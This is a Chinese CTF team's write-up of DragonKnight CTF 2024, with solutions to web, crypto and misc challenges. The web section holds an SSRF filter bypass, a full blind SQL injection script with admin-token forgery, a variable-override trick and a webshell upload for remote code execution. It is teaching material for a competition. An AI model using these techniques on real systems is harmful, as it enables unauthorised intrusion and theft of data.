DragonKnight CTF 2024 WP
Team
战队:它们说我是个恶霸
成员:Kicky_Mu 泠鹇 晨曦 dev1l
排名:3
WEB
穿梭隐藏的密钥
题目
在一次惊心动魄的太空任务中,你发现了一个隐藏在偏远太空站内部的高度机密的加密密钥。这个密钥可能拥有解锁重要情报的能力,但是要获取它并不是一件简单的事情。
这个密钥被放置在一台极其严密防护的计算机系统中。这台计算机不仅与外界网络完全隔离,而且还设置了多重安全机制,包括身份验证,层层难关等。你作为一名出色的太空探险家,要想成功获取密钥,你必须设法绕过这些安全防护,利用你的专业知识和创造力,想办法通过一些巧妙的方式访问这台计算机,并成功获取隐藏的密钥。准备好你的大脑,开始你的穿梭之旅吧!
ssrf伪造的姿势你了解多少?秘密文件你找到了吗?
请勿使用自动化fuzz工具!
我的解答:
需要用大字典来扫目录。
ctrl+u查看源码,可以找到 c3s4f.php
。
访问 c3s4f.php
需要fuzz扫出参数。
得到参数 shell
,接下来是 ssrf 访问 secret.php
参考链接:SSRF
用域名跳转绕过 127.0.0.1
的过滤
shell=http://localtest.me/secret.php
得到下一关的入口和下一关要用到的key
cha11eng3.php
<?php
show_source(__FILE__);
include('k4y.php');
include_once('flag.php');
// Challenge 1
if (isset($_GET['DrKn'])) {
$text = $_GET['DrKn'];
if(@file_get_contents($text) == $key) {
echo "有点东西呢"."</br>".$key1."</br>";
} else {
die("貌似状态不在线啊(╯_╰)</br>");
}
}
// Challenge 2
if (isset($_GET[$key1])) {
$damei = $_GET[$key1];
if (hash("md4", $damei) == $damei) {
echo "又近了一步呢,宝~"."</br>".$key2."</br>".$key3;
} else {
die("达咩哟~");
}
}
// Challenge 3
if (isset($_POST[$key2]) && isset($_POST[$key3])) {
$user = $_POST[$key2];
$pass = $_POST[$key3];
if (strlen($user) > 4 || strlen($pass) > 5) {
die("还得练");
}
if ($user !== $pass && md5($user) === md5($pass)) {
echo "还不错哦"."$flag";
}
else {
die("nonono") ;
}
}
?>
第一层传
?DrKn=data://text/plain,MSIBLG
第三层是md5强比较绕过,用数组绕过
wtf[]=1&mC[]=2
EzLogin
题目
Infernity师傅写了一个没啥大用的网站,他的朋友都说他有点大病,你们觉得他写的这个网站是不是有啥大病?
仔细考虑考虑程序是如何根据用户名输出你的密码的?用户名密码从哪里找到的?
我的解答:
一个登录程序,在用户名处存在 sql二次注入
测试过滤,发现过滤了 union
、if
、 >
、 <
、concat
、(空格)
等,可以布尔盲注。
脚本:
import requests
import base64
import json
url = "http://challenge.qsnctf.com:32411/"
str1 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}@#$\()*+,-./:;<=>?[\\]^`|~_&!%'
s = requests.Session()
def register(username):
data = {"username":username,"password":"123"}
r = s.post(url+'register.php',data)
#print(r.text)
def login(username):
data = {"username":username,"password":"123"}
res = requests.post(url+'login.php',data,allow_redirects=False)
cookie = res.headers['Set-Cookie'].split('=')[1]
return cookie
def home(token):
cookies = {"TOKEN":token}
r = s.get(url+'home.php',cookies=cookies)
res = r.text.split('<div class="seached-text">')[1].split('</div>')[0]
res = res.replace('<br>','\n')
#print(res)
return res
def token_fix(token):
token = bytes.fromhex(token)
token = base64.b64decode(token)
token = json.loads(token)
# print(token)
token['is_admin']=1
token = json.dumps(token)
token = base64.b64encode(token.encode())
token = token.hex()
return token
def request(username):
register(username)
token = login(username)
token = token_fix(token)
res = home(token)
return res
def database_length():
for i in range(10):
username = "admin'and length(database()) = {}#".format(i)
username = username.replace(' ','/**/')
res = request(username)
if 'No user found' not in res:
print('database_length: ',i)
return i
return 0
def database_name(length):
name = ''
for idx in range(1,length+1):
for char in str1:
payload = "admin'and substr(database(),{},1) = '{}'#".format(idx,char)
payload = payload.replace(' ','/**/')
res = request(payload)
if 'No user found' not in res:
name += char
print(name)
break
def table_length():
cnt = {}
for i in range(20):
flag = 1
for j in range(20):
flag = 0
payload = "admin'and length((select table_name from information_schema.tables where table_schema='dkctf' limit {},1))={}#".format(i,j)
payload = payload.replace(' ','/**/')
res = request(payload)
#print(res)
if 'No user found' not in res:
print('table_length: ',i,j)
cnt[i]=j
flag = 1
break
if flag == 0:
return cnt
return cnt
def table_name(cnt):
tables={}
for i in range(len(cnt)):
table = ''
for j in range(1,cnt[i]+1):
for char in str1:
payload = "admin'and substr((select table_name from information_schema.tables where table_schema='dkctf' limit {},1),{},1)='{}'#".format(i,j,char)
payload = payload.replace(' ','/**/')
res = request(payload)
#print(res)
if 'No user found' not in res:
table += char
print(i,table)
break
tables[i]=table
return tables
def column_length():
cnt = {}
for i in range(10):
flag = 1
for j in range(20):
flag = 0
payload = "admin'and length((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1))={}#".format(i,j)
payload = payload.replace(' ','/**/')
res = request(payload)
print(res)
if 'No user found' not in res:
print('column_length: ',i,j)
cnt[i]=j
flag = 1
break
if flag == 0:
return cnt
return cnt
def column_name(cnt):
columns={}
for i in range(len(cnt)):
column = ''
for j in range(1,cnt[i]+1):
for char in str1:
payload = "admin'and substr((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1),{},1)='{}'#".format(i,j,char)
payload = payload.replace(' ','/**/')
res = request(payload)
#print(res)
if 'No user found' not in res:
column += char
print(i,column)
break
columns[i]=column
return columns
def data():
flag = ''
for i in range(1,100):
for char in str1:
payload = "admin'and ord(substr((select sseeccrreett from secret),{},1))={}#".format(i,ord(char))
payload = payload.replace(' ','/**/')
res = request(payload)
#print(res)
if 'No user found' not in res:
flag += char
print(i,flag)
break
if __name__ == '__main__':
# 注库名 dkctf
# length = database_length() # 5
# database_name(length) # dkctf
# 注表名 user secret
# table_length = table_length() # {0: 4, 1: 6}
# print(table_length)
# tables = table_name(table_length) # {0: 'user', 1: 'secret'}
# print(tables)
# 注列名 注的是 secret 表 {0: 'flag', 1: 'sseeccrreett'}
# column_length = column_length()
# column_length = {0: 4, 1: 12}
# print(column_length)
# columns = column_name(column_length)
# print(columns) # {0: 'flag', 1: 'sseeccrreett'}
# 注数据 注 secret 表 sseeccrreett 列
#
data()
# DRKCTF{a51468434dab48668ab2e7d16e21612a}
ezsign
题目
p2zhh写了个网页,你可以帮他测试一下吗
p2zhh无意间改变了变量然后上传了文件解析PHP引擎
我的解答:
dirsearch 扫一手,发现有个index.php.bak
<?php
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;
if($token){
extract($_GET);
$token = base64_decode($token);
$token = json_decode($token, true);
$username = $token['username'];
$password = $token['password'];
$isLocal = false;
if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
$isLocal = true;
}
if($isLocal){
echo 'Welcome Back,' . $username . '!';
//如果 upload 目录下存在$username.png文件,则显示图片
if(file_exists('upload/' . $username . '/' . $token['filename'])){
// 显示图片,缩小图片
echo '<br>';
echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
} else {
echo '请上传您高贵的头像。';
// 写一个上传头像的功能
$html = <<<EOD
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" value="Upload">
</form>
EOD;
echo $html;
}
} else {
// echo "留个言吧";
$html = <<<EOD
<h1>留言板</h1>
<label for="input-text">Enter some text:</label>
<input type="text" id="input-text" placeholder="Type here...">
<button onclick="displayInput()">Display</button>
EOD;
echo $html;
}
} else {
$html = <<<EOD
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h2>Login</h2>
<form method="post" action="./login.php">
<div>
<label for="username">Username:</label>
<input type="text" name="username" id="username" required>
</div>
<div>
<label for="password">Password:</label>
<input type="password" name="password" id="password" required>
</div>
<div>
<input type="submit" value="Login">
</div>
</form>
</body>
</html>
EOD;
echo $html;
}
?>
<script>
function displayInput() {
var inputText = document.getElementById("input-text").value;
document.write(inputText)
}
</script>
分析可知,extract($_GET);
存在变量覆盖,可以利用这个把$_SERVER['REMOTE_ADDR']
覆盖成127.0.0.1
url/?_SERVER[REMOTE_ADDR]=127.0.0.1
接着来到文件上传,上传成功后没有返回路径,在源码上可以看到这个
if(file_exists('upload/' . $username . '/' . $token['filename']))
猜测文件上传到/upload/[username]/[filename]
,尝试发现是正确的。
当存在username时,无论上传什么都不能被解析成php代码。
把 username
置空,成功将文件上传到 upload
目录。
token=eyJ1c2VybmFtZSI6IiIsInBhc3N3b3JkIjoiIn0=
后边就是用上传的一句话木马rce读flag了
CRYPTO
Crypto_签到
题目
快来签到QAQ
from Crypto.Util.number import *
m = b'flag{********}'
a = getPrime(247)
b = getPrime(247)
n = getPrime(247)
seed = bytes_to_long(m)
class LCG:
def __init__(self, seed, a, b, m):
self.seed = seed
self.a = a
self.b = b
self.m = m
def generate(self):
self.seed = (self.a * self.seed + self.b) % self.m
self.seed = (self.a * self.seed + self.b) % self.m
return self.seed
seed = bytes_to_long(m)
output = LCG(seed,a,b,n)
for i in range(getPrime(16)):
output.generate()
print(output.generate())
print(output.generate())
print(output.generate())
print(output.generate())
print(output.generate())
'''
5944442525761903973219225838876172353829065175803203250803344015146870499
141002272698398325287408425994092371191022957387708398440724215884974524650
42216026849704835847606250691811468183437263898865832489347515649912153042
67696624031762373831757634064133996220332196053248058707361437259689848885
19724224939085795542564952999993739673429585489399516522926780014664745253
'''
我的解答:
在网上找到类似的题目
import gmpy2
from Crypto.Util.number import GCD, long_to_bytes
# 完整的密文列表
c = [5944442525761903973219225838876172353829065175803203250803344015146870499,
141002272698398325287408425994092371191022957387708398440724215884974524650,
42216026849704835847606250691811468183437263898865832489347515649912153042,
67696624031762373831757634064133996220332196053248058707361437259689848885,
19724224939085795542564952999993739673429585489399516522926780014664745253]
import gmpy2
from Crypto.Util.number import GCD, isPrime, long_to_bytes
t=[]
for i in range(1,len(c)):
t.append(c[i]-c[i-1])
m = 0
for i in range(1,len(t)-1):
m = GCD(t[i+1]*t[i-1]-t[i]**2, m)
print(isPrime(m)) # False m的倍数
print(m)
for i in range(1,100):
if isPrime(m//i):
print(i) # i是4
m//=i
break
a = (c[3]-c[2])*gmpy2.invert(c[2]-c[1],m) % m
b = (c[2]-a*c[1]) % m
# print(gmpy2.gcd(a,m))
# print(gmpy2.gcd(b,m))
a_1=gmpy2.invert(a,m)
for i in range(2**16):
c[1] = (c[1]-b) * a_1 % m
flag = long_to_bytes(c[1])
if b'flag' in flag:
print(flag)
break
"https://blog.csdn.net/m0_74345946/article/details/132888135"
MidRSA
题目
很普通的推导,以及一点点对共模攻击的变形
from Crypto.Util.number import *
from secret import flag
import random
import gmpy2
def generate_Key1(ebits):
e = [getPrime(ebits) for _ in range(4)]
return e
def encrypt1(message,e):
n = gmpy2.next_prime(bytes_to_long(message) << 300)
m = getPrime(256)
c = [int(pow(m,e[i],n)) for i in range(len(e))]
return c
def generate_Key2(nbits):
p = getPrime(nbits // 2)
q = getPrime(nbits // 2)
n = p*q
e = [random.getrandbits(nbits // 4) for _ in range(3)]
return n,e
def encrypt2(message,e,n):
m = bytes_to_long(message)
c = [int(pow(m,e[i],n)) for i in range(len(e))]
return c
assert flag.startswith(b"DRKCTF{")
flag1 = flag[:len(flag)//2]
flag2 = flag[len(flag)//2:]
ebits = 7
e1 = generate_Key1(ebits)
cipher1 = encrypt1(flag1,e1)
print("e1 =",e1)
print("cipher1 =",cipher1)
nbits = 1024
n,e2 = generate_Key2(nbits)
cipher2 = encrypt2(flag2,e2,n)
print("e2 =",e2)
print("cipher2 =",cipher2)
print("n =",n)
"""
e1 = [109, 71, 109, 73]
cipher1 = [36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 13421582077901767047291741873622169312010984740586925881415103229648835151589774736786336965745532072099996467445790339749720696886313635920080, 36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 41425183140413487232780768389488969603566343428250573532166425276868000949579663990819005141199597640625439816343697426958648927294289659127871]
e2 = [79572758141493570128961125255246129069540961757778793209698370333142346488381, 80555585862127636800866563977080055603517001358195529410497461746213789997225, 44651921320695090688745333790065512192118202496468714141526113242887125432380]
cipher2 = [58600444300331800249882073146233995912287198739549440714207984476331259754331716531491187240053630185776787152600165426285021284302994699108557023545574315706006132536588848833818758624067461985444940651823107522770906474037882323326792755635934081822967331031854184791299228513024491344725765476710816941057, 16511944800191885973496391252612222059697387587833308714567450121364756390806094606646424594583975159634952911600665271092389815248477961923357683297311169260578508157717777465241680062644118354471550223231057620392252324514411927096940875466794869671163453991620492008856178108060167556176019729800517994337, 80885008609388989196377721090246742575908473911131498982960117640742106565184297197238656375198284856442596226398287448931285735903463892735111244609358611618958293002176923706195402338331128766464276441210238388187625107435781170368017908610916585774514676482124401329575553658828115269495158818527164441546]
n = 93468142044831350317940409833603031534515663349871776634867176846669780024082517910566484997161088199091160371537367121403194814422867749777235397168852158723228851090445429617275680206703935781244466363279841409768649097588586494453125840436600639420286950914680651600232197982546122764845043227394567787283
"""
我的解答:
第一部分就是NSSCTF-2nd-wp-crypto | 糖醋小鸡块的blog (tangcuxiaojikuai.xyz)的LatticeLCG,直接抄就完事了
e= [109, 71, 73]
c= [36272047346364825234770733058042613197790911431212158822254782055957208837848605160852567043492625692783344073921185227328379941291979083011033, 13421582077901767047291741873622169312010984740586925881415103229648835151589774736786336965745532072099996467445790339749720696886313635920080, 41425183140413487232780768389488969603566343428250573532166425276868000949579663990819005141199597640625439816343697426958648927294289659127871]
#step1
L = Matrix(ZZ, 3, 4)
for i in range(3):
L[i,0] = e[i]*1000
L[i,i+1] = 1
L = L.LLL()
alist1 = L[0][1:]
k1nl = 1
k1nr = 1
for i in range(3):
if(alist1[i]<0):
k1nr *= c[i]**(-alist1[i])
else:
k1nl *= c[i]**alist1[i]
k1n = k1nl-k1nr
alist2 = L[1][1:]
k2nl = 1
k2nr = 1
for i in range(3):
if(alist2[i]<0):
k2nr *= c[i]**(-alist2[i])
else:
k2nl *= c[i]**alist2[i]
k2n = k2nl-k2nr
n = gcd(k1n,k2n)
for i in range(2,10000):
while(n % i == 0):
n //= i
#检查一下n的长度是否为1024bit
print(len(bin(n)[2:]))
print(long_to_bytes(n>>300))
第二部分共模攻击
from Crypto.Util.number import *
e1, e2, _ = [
79572758141493570128961125255246129069540961757778793209698370333142346488381,
80555585862127636800866563977080055603517001358195529410497461746213789997225,
44651921320695090688745333790065512192118202496468714141526113242887125432380,
]
c1, c2, _ = [
58600444300331800249882073146233995912287198739549440714207984476331259754331716531491187240053630185776787152600165426285021284302994699108557023545574315706006132536588848833818758624067461985444940651823107522770906474037882323326792755635934081822967331031854184791299228513024491344725765476710816941057,
16511944800191885973496391252612222059697387587833308714567450121364756390806094606646424594583975159634952911600665271092389815248477961923357683297311169260578508157717777465241680062644118354471550223231057620392252324514411927096940875466794869671163453991620492008856178108060167556176019729800517994337,
80885008609388989196377721090246742575908473911131498982960117640742106565184297197238656375198284856442596226398287448931285735903463892735111244609358611618958293002176923706195402338331128766464276441210238388187625107435781170368017908610916585774514676482124401329575553658828115269495158818527164441546,
]
n = 93468142044831350317940409833603031534515663349871776634867176846669780024082517910566484997161088199091160371537367121403194814422867749777235397168852158723228851090445429617275680206703935781244466363279841409768649097588586494453125840436600639420286950914680651600232197982546122764845043227394567787283
_, s1, s2 = xgcd(e1, e2)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(long_to_bytes(m))
MatrixRSA_Revenge
题目
嘁~无非就是变成4阶矩阵嘛,一点都不难嘛
from Crypto.Util.number import *
import os
flag = b"DRKCTF{??????????????}" + os.urandom(212)
p = getPrime(120)
q = getPrime(120)
print(f"p = {p}")
print(f"q = {q}")
part = [bytes_to_long(flag[16*i:16*(i+1)]) for i in range(16)]
M = Matrix(Zmod(n),[
[part[4*i+j] for j in range(4)] for i in range(4)
])
e = 65537
C = M ** e
print(f"C = {list(C)}")
"""
p = 724011645798721468405549293573288113
q = 712853480230590736297703668944546433
C = [(354904294318305224658454053059339790915904962123902870614765704810196137, 307912599668649689143528844269686459695648563337814923172488152872006235, 143644686443811064172873392982322248654471792394264352463341325181752577, 22995887787365556743279529792687264972121816670422146768160153217903088), (111349308911096779758451570594323566987628804920420784718347230085486245, 370237591900013263581099395076767089468466012835217658851568690263421449, 305451886364184428434479088589515273362629589399867618474106045683764897, 454103583344277343974714791669312753685583930212748198341578178464249150), (168497521640129742759262423369385500102664740971338844248603058993335309, 228941893018899960301839898935872289351667488000643221589230804176281482, 340080333594340128998141220817079770261711483018587969623825086357581002, 122922413789905368029659916865893297311475500951645918611759627764993518), (10332477229415731242316540110058798318207430965033579181240340751539101, 238172263316130590821973648893483382211906906298557131324791759298887701, 487586702165464601760230182019344052665496627253691596871783460314632260, 12238020921585443139790088280608644406695242899000592355653073240122626)]
"""
我的解答:
和2024H&NCTF的题目很像,改个参数就可以了
from Crypto.Util.number import *
import gmpy2
p = 56891773340056609
q = 68964114585148667
e = 65537
c = [(1419745904325460721019899475870191, 2134514837568225691829001907289833, 3332081654357483038861367332497335), (3254631729141395759002362491926143, 3250208857960841513899196820302274, 1434051158630647158098636495711534), (2819200914668344580736577444355697, 2521674659019518795372093086263363, 2850623959410175705367927817534010)]
C = Matrix(Zmod(n),c)
order_p = p*(p-1)*(p+1)*(p^2+p+1)
order_q = q*(q-1)*(q+1)*(q^2+q+1)
order = order_p * order_q
d = gmpy2.invert(e,order)
M = C ** d
flag = b""
for i in range(3):
for j in range(3):
m = int(M[i,j])
flag += long_to_bytes(m)
print(flag)
MyEncrypto
题目
一点点格和多项式
from Crypto.Util.number import *
from secret import flag
import random
def getMyPrime():
while True:
r = random.getrandbits(64)
_p = r**6 -3*r**5 - r**4 + r**2 - r - 6
_q = r**7 + 2*r**6 + r**5 + 4*r**4 + 7*r**2 + r + 4653
if isPrime(_p) and isPrime(_q):
return _p, _q
def enc(m, n):
return pow(m, 65537, n)
def LCG(s,a,b,n):
return (a*s + b) % n
seed = bytes_to_long(flag)
P = getPrime(512)
a = random.randrange(0,P)
b = random.randrange(0,P)
def Roll():
global seed
seed = LCG(seed,a,b,P)
return seed % 2**16
p, q = getMyPrime()
n = p * q
enc_P = enc(P, n)
print(f"n = {n}")
print(f"enc_P = {enc_P}")
out = []
for _ in range(40):
out.append(Roll())
print(f"a = {a}")
print(f"b = {b}")
print(f"out = {out}")
"""
n = 17959692613208124553115435318871530105762927141420294800783695207170608966804977782615874404539156257549097962410144332053383210075663138848832474791712256427111304125146378883542387121684653496644116081809328796925343393644118376497507
enc_P = 17215745298239635988196009014709535403293865406390546681749129213899045156482782458937447412919331336842808052179915132663427715069134196783415529688715962754860563850858056507148936427379551986735103284388996678146580229028006898491552
a = 2759277675743644814124420138047586760905070650864591936190199977578763421196999718749092450720072564786874114432179104175692800471519816376692104515142375
b = 8111240578821759579875175166986910195923820191652867334412871591814076020421468033017946066268237980082938735686222173713853299600396887041341974719819186
out = [39566, 15295, 19818, 55685, 49100, 6517, 2675, 9567, 37243, 40312, 42906, 35874, 44178, 1256, 40298, 29149, 35721, 19886, 63020, 50116, 6844, 39897, 16134, 50218, 44609, 46188, 52712, 49903, 20933, 5441, 19411, 8330, 6904, 39350, 60853, 43446, 35910, 43728, 61533, 13757]
"""
我的解答:
论文题,大致思路就是根据LCG的表达式列出来方程,然后用LLL格基规约求解CVP问题恢复出完整的 LCG输出序列,具体可以参:https://www.math.cmu.edu/~af1p/Texfiles/RECONTRUNC.pdf 第2.7节
exp:
from Crypto.Util.number import *
from fpylll import *
n =
17959692613208124553115435318871530105762927141420294800783695207170608966804977
78261587440453915625754909796241014433205338321007566313884883247479171225642711
1304125146378883542387121684653496644116081809328796925343393644118376497507
enc_P =
17215745298239635988196009014709535403293865406390546681749129213899045156482782
45893744741291933133684280805217991513266342771506913419678341552968871596275486
0563850858056507148936427379551986735103284388996678146580229028006898491552
a =
27592776757436448141244201380475867609050706508645919361901999775787634211969997
18749092450720072564786874114432179104175692800471519816376692104515142375
b =
81112405788217595798751751669869101959238201916528673344128715918140760204214680
33017946066268237980082938735686222173713853299600396887041341974719819186
out = [39566, 15295, 19818, 55685, 49100, 6517, 2675, 9567, 37243, 40312, 42906,
35874, 44178, 1256, 40298, 29149, 35721, 19886, 63020, 50116, 6844, 39897, 16134,
50218, 44609, 46188, 52712, 49903, 20933, 5441, 19411, 8330, 6904, 39350, 60853,
43446, 35910, 43728, 61533, 13757]
PR.<r> = PolynomialRing(ZZ)
f = (r**6 -3*r**5 - r**4 + r**2 - r - 6) * (r**7 + 2*r**6 + r**5 + 4*r**4 +
7*r**2 + r + 4653) - n
r = f.roots()[0][0]
p = r**6 -3*r**5 - r**4 + r**2 - r - 6
q = r**7 + 2*r**6 + r**5 + 4*r**4 + 7*r**2 + r + 4653
assert p * q == n
P = pow(enc_P, inverse_mod(65537, (p - 1) * (q - 1)), n)
def gen_matrix(a:int, modulus:int, size:int) -> list:
matrix = [[0]*size for _ in range(size)]
for i in range(size):
matrix[0][i] = pow(a, i, modulus)
for i,j in zip(range(1,size), range(1,size)):
if i==j:
matrix[i][j] = modulus
return matrix
def attack(a:int, modulus:int, output_length:int, Ys:list):
I = inverse_mod(2**output_length, modulus)
y = [(el*I) % modulus for el in Ys]
L = IntegerMatrix.from_matrix(gen_matrix(a, modulus, len(Ys)))
reduced = LLL.reduction(L)
Xi_I = CVP.closest_vector(reduced, y, method="fast")
Xi = [xi_i*2**output_length % modulus for xi_i in Xi_I]
return Xi
diffs = []
for i in range(len(out) - 1):
diffs += [out[i + 1] - out[i]]
Xi = attack(a, P, 16, diffs)
seed = ((((Xi[0] - b) * inverse_mod(a - 1, P)) % P) - b) * inverse_mod(a, P) % P
flag = long_to_bytes(seed)
print(flag)
运行sage得到flag
EzDES
题目
DES中密钥的选取有什么讲究呢。(从密钥破局)
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
from secret import flag,key
key = bytes.fromhex(key)
des = DES.new(key, DES.MODE_ECB)
enc = des.encrypt(pad(flag,64))
print(enc)
"""
b't\xe4f\x19\xc6\xef\xaaL\xc3R}\x08;K\xc9\x88\xa6|\nF\xc3\x12h\xcd\xd3x\xc3(\x91\x08\x841\xca\x8b\xc1\x94\xb5\x9f[\xcd\xc6\x9f\xf9\xf6\xca\xf5\x1a\xda\x16\xcf\x89\x154\xa1\xfe\xc5\x16\xcf\x89\x154\xa1\xfe\xc5'
"""
我的解答:
一眼弱密钥
from Crypto.Cipher import DES
key=b'\x00'*8
c=b't\xe4f\x19\xc6\xef\xaaL\xc3R}\x08;K\xc9\x88\xa6|\nF\xc3\x12h\xcd\xd3x\xc3(\x91\x08\x841\xca\x8b\xc1\x94\xb5\x9f[\xcd\xc6\x9f\xf9\xf6\xca\xf5\x1a\xda\x16\xcf\x89\x154\xa1\xfe\xc5\x16\xcf\x89\x154\xa1\xfe\xc5'
des = DES.new(key, DES.MODE_ECB)
print(des.decrypt(c))
MISC
Steal_Data(复现)
题目
小龙做了2024 51建模的B题,小黄看上了小龙的成果,于是黑进小龙的电脑偷走了数据...
请将做出来的flag用DRKCTF{}替换flag{}
51建模的B题是需要在最短路径的条件下,找最佳流量分配,那么如何找最短路径呢?
我的解答:
分析流量http,发现一个shell.php
跟进查看。看到密文和加密方式以及key:先进行了base64加密再AES-128-ECB, key为dragonknight的md5值。
解码即可:
然后找最短路径即可:
import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,
(97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,
(119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,
(115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,
(30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,
(71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,
(75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,
(9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,
(88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,
(59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,
(101 ,82) ,(0 ,82) ,(82 ,125)
]
G = nx.Graph()
G.add_edges_from(lujin)
path = nx.shortest_path(G, source=102, target=125)
print("".join(chr(i) for i in path))
# flag{wish_DrAGonKNI9HtCXF-BET2eR}
签到
题目
Dragon Knight CTF 启动!!!
我的解答:
然后扫码关注公众号回复相关信息即可。
神秘文字
题目
呜呜呜~xiaoxi的服务器被攻击了,其中截获了一段神秘文字和一个压缩包,你能帮她解出压缩包的内容吗?
𓅂=+![];𓂀=+!𓅂;𓁄=𓂀+𓂀;𓊎=𓁄+𓂀;𓆣=𓁄*𓁄;𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;𓅬=𓆣+𓊎;[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";𓆉(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)``)``
我的解答:
WebStorm里面直接跑,命令: node 埃及文?.txt
得到压缩包密码:mArt1N_K1EPp3
解压拿到flag:DRKCTF{D0_Y0u_KnOw_Wh0_Creat3_J5Fu*K?}
DNA-5(复现)
题目
仔细看题目名喔
flag格式DRKCTF{}
hint1:注意题目名,注意数字
hint2:遥遥领先!
搜搜hint2:遥遥领先,再结合hint1:注意数字看看?
ACGCTAATACCATCAACTCCATAACTCCCCACCTAAATCCAATAACCAGCTAAATCCAATAACCACTACCCCTCCATAAGAGAATAACCACTCATCCCCCTAATAAGAATAAACCTCCCCCAC
我的解答:
DNA解码直接废
根据题目提示:注意题目名以及数字发现是-5(减5),密文里面正好有5个G,遥遥领先的意思就是华为5G,去除5个G得到:
ACCTAATACCATCAACTCCATAACTCCCCACCTAAATCCAATAACCACTAAATCCAATAACCACTACCCCTCCATAAAAATAACCACTCATCCCCCTAATAAAATAAACCTCCCCCAC
密文只有三个字母,一眼摩斯。"A"代表"." "C"代表"-" "T"代表"空格"
.-- .. .--. -..- --. ..- ----.-- ... --.. ..--.- ... --.. ..--.- .---- --. ..... ..--.- -. ----- .. .... ...-- -----.-
解码得到:WIPXGUSZ_SZ_1G5_N0IH3
换成大写/小写试试,包上flag头发现不对,那应该还有一层加密。。
随波逐流直接梭:Atbash解码: drkctfha_ha_1t5_m0rs3
DRKCTF{ha_ha_1t5_m0rs3}换成大写:HA_HA_1T5_M0RS3
func_pixels(复现)
题目
这是什么奇怪的像素?(0,0) 是怎么回事?
g_pos = int(math.pow(pos ,2))
我的解答:
蕾姆酱,哇呜!!
图片左上方存在异常像素:
from PIL import Image
image_path = 'LEIMU_encoded.png'
image = Image.open(image_path)
str1 = ""
str2 = ""
for i in range(10):
pixel_value = image.getpixel((i, i**2))
for j in range(3):
if (chr(pixel_value[j]).isascii()):
str1 += chr(pixel_value[j])
else:
str1 += " "
print(str1)
for i in range(10):
pixel_value = image.getpixel((i, i**3))
for j in range(3):
if (chr(pixel_value[j]).isascii()):
str2 += chr(pixel_value[j])
else:
str2 += " "
print(str2)
# DRKCTF{H HA AH _L iM Is oC te
# DRKCTF{ AH HA A_ ei uI So ut }
AgedSLATE(复现)
题目
陈旧的石板,这片大地还藏有什么秘密呢?
